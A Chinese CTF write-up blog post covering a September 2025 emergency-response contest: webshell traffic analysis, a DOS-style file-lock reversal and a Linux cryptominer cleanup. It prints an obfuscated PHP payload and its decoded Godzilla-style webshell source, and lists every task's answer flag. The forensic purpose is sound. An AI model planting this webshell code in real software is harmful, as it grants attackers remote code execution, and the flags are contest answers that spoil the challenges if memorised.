2025年Solar应急响应公益月赛-9月

本文最后更新于 2025年10月10日 下午

Wireshark

查看流量包内容发现

1
pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMhZ2MxImM2MzY0QjZmVGMn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cyYkV2M4N3dyoXYxFzJ9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&1qaz2wsx3edc=eu1uNDRjMzYyYjz%2Bu2uwAH1mNsWC9MvudxUD4GxD2vZHYhmcslPc4AT6kvwn72TiprEftRcyZvWaASZ2twUSoSXCZHZrgXp1OrZJTzbT5eJdLiAUCd1%2BqUmpgl2Orlfucw%2BsWVNIRc8GzsXv8ODt4jV5jXn%2FLQCpCbmD2OihJd4HtL0BEOlzQGrMYUiFNRFgou2Zmus5JThj7ts0VATS5%2FBmZjQ%3D

解密 webshell 内容

1
2
3
4
5
6
import urllib.parse
import base64

data = "K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMhZ2MxImM2MzY0QjZmVGMn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cyYkV2M4N3dyoXYxFzJ9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD"
decoded = base64.b64decode(data[::-1])
print(decoded.decode('utf-8', errors='ignore'))

拿到的是哥斯拉流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='1qaz2wsx3edc';
$payloadName='payload';
$key='0eff44c362b13fa2';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

Cyber 解密

将密文提取出来 base64 解密

1
flag{ccebdb78-4b5c-4252-b20a-0039913c5c94}

逆向

ida 看汇编流程

1
2
3
4
文件头写 "ZX_LOCK" 和一个字节(取决于 word_1023E & 1
获取系统时钟 (int 1Ah),得到一个 seed (di)
从 FLAG.TXT 读到 unk_1012A,对每两个字节执行一系列加密变换
把 seed (word_1022A) 和加密后的数据写入 FLAG.ENC

gpt 秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def decrypt(data: bytes, seed: int) -> bytes:

result = bytearray()
di = seed
for i in range(0, len(data), 2):
ax = int.from_bytes(data[i:i+2], "little")
di = (di + 0xFADE) & 0xFFFF
cx = ax & di
cx = (~cx) & 0xFFFF
dx = ax & cx
dx = (~dx) & 0xFFFF
tmp_ax = dx
dx = di & cx
dx = (~dx) & 0xFFFF
tmp_ax = tmp_ax & dx
tmp_ax = (~tmp_ax) & 0xFFFF
result.extend(tmp_ax.to_bytes(2, "little"))
return bytes(result)


def parse_flag_enc(filename="FLAG.ENC"):
with open(filename, "rb") as f:
content = f.read()

assert content.startswith(b"ZX_LOCK")
mode = content[7]
seed = int.from_bytes(content[8:10], "little")
enc_data = content[10:]

dec = decrypt(enc_data, seed)

if mode == 1 and dec[-1] == 0:
dec = dec[:-1]

return dec.decode(errors="ignore")


if __name__ == "__main__":
flag = parse_flag_enc("FLAG.ENC")
print("Decrypted FLAG:", flag)

flag

1
flag{D0s_L0ck3r_WitH_n4Nd_ExpRs!|solarsec_202509}

特洛伊挖矿木马事件排查

任务一

1
2
3
4
任务名称:提交挖矿文件的绝对路径
任务分数:100.00
任务类型:静态Flag
提交挖矿文件的绝对路径,最终以flag{/xxx/xxx}格式提交

查找 CPU 占用率顺序

1
ps aux --sort=-%cpu | head -20

1
flag{/tmp/kworkerds}

任务二

1
2
3
4
任务名称:提交挖矿文件的外联IP与端口
任务分数:100.00
任务类型:静态Flag
提交挖矿文件的外联的IP与端口,最终以flag{ip:port}格式提交

根据 PID 查找外联

1
flag{104.21.6.99:10235}

任务三

1
2
3
4
任务名称:守护进程脚本的绝对路径
任务分数:100.00
任务类型:静态Flag
停止挖矿进程并尝试删除挖矿程序,根据异常判断,提交守护进程脚本的绝对路径,最终以flag{/xxx/xxx/xxx/xxx}提交

查看 /etc/cron.d 目录下文件

1
flag{/usr/bin/.0guardian}

任务四

1
2
3
4
任务名称:异常处理
任务分数:100.00
任务类型:静态Flag
根据出现的异常及守护进程脚本,继续排查,以人为本,使用环境内浏览器访问:http://chat.internal-dev.net:8081 获取可疑网址,最终以flag{http://www.example.com}格式提交

1
flag{http://www.superlog-pro.com}

任务五

1
2
3
4
任务名称:分析病毒文件
任务分数:100.00
任务类型:静态Flag
分析病毒文件,提交其感染的所有程序,最终以flag{md5(/usr/bin/whoai,/usr/bin/ls,/usr/bin/top)}进行提交,顺序需以病毒文件中为准

根据网站,在浏览器找到下载的程序

查找程序中的字符串

1
strings setup

拿到如下信息

1
/bin/ls,/bin/ps,/bin/cat,/bin/rm,/bin/ss,/usr/bin/stat,/usr/bin/top,/usr/bin/wget,/usr/bin/curl,/usr/bin/vi,/usr/bin/sudo

1
flag{dac48e98a53b81b0218e2156e364f7ba}

任务六

1
2
3
4
任务名称:修复系统并恢复文件完整性
任务分数:100.00
任务类型:静态Flag
修复系统并恢复文件完整性:已知所有程序被感染,当前系统属于断网状态,所以作者贴心的在/deb_final目录下存放了对应程序的deb包,请尝试恢复所有程序,恢复完毕后在/var/flag/1文件获取flag

覆盖安装

1
dpkg -i --force-confnew /deb_final/*.deb || true

1
flag{e510c5fca680b1b4bd5c9d8d6b3f4bdc}

任务七

1
2
3
4
任务名称:最终清理
任务分数:100.00
任务类型:静态Flag
最终清理:删除挖矿程序、删除计划任务及守护进程及清除相关进程,等待片刻在/var/flag/2获取flag

修复文件之后,删除守护文件

1
flag{081ce3688c6cd6e2946125081381087c}

2025年Solar应急响应公益月赛-9月
http://example.com/2025/10/10/2025年Solar应急响应公益月赛-9月/
作者
butt3rf1y
发布于
2025年10月10日
许可协议